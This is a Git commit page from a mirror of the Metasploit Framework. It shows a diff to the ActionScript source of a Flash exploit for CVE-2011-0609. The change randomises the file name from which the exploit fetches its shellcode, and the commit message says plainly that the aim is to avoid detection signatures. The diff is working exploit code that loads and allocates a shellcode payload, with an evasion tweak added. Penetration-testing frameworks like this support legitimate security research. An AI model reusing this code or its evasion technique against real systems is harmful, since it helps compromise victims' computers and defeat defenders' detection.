infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

made the shellcode request random to avoid signatures 

git-svn-id: file:///home/svn/framework3/trunk@12148 4d416f70-5f16-0410-b530-b9f4589650da
unstable
David Rude 2011-03-26 16:00:52 +00:00
parent 81fae13258
commit 8c614a9296
2 changed files with 11 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
data/exploits/CVE-2011-0609.swf
View File

Binary file not shown.

12
external/source/exploits/CVE-2011-0609/exploit.as vendored
View File

@ -26,12 +26,22 @@ package {
static var remainder:int;
public function exploit():void {
var path:String = ExternalInterface.call("window.location.href.toString") + "/shellcode.txt";
var path:String = ExternalInterface.call("window.location.href.toString") + randname(6) + ".txt";
var urlRequest:URLRequest = new URLRequest(path);
urlLoader.dataFormat = URLLoaderDataFormat.TEXT; // default
urlLoader.addEventListener(Event.COMPLETE, urlLoader_complete);
urlLoader.load(urlRequest);
}
public function randname(newLength:Number):String{
var a:String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
var alphabet:Array = a.split("");
var randomLetter:String = "";
for (var i:Number = 0; i < newLength; i++){
randomLetter += alphabet[Math.floor(Math.random() * alphabet.length)];
}
return randomLetter;
}
public function alloc_shellcode(p:String):void {
var val:ByteArray = new ByteArray();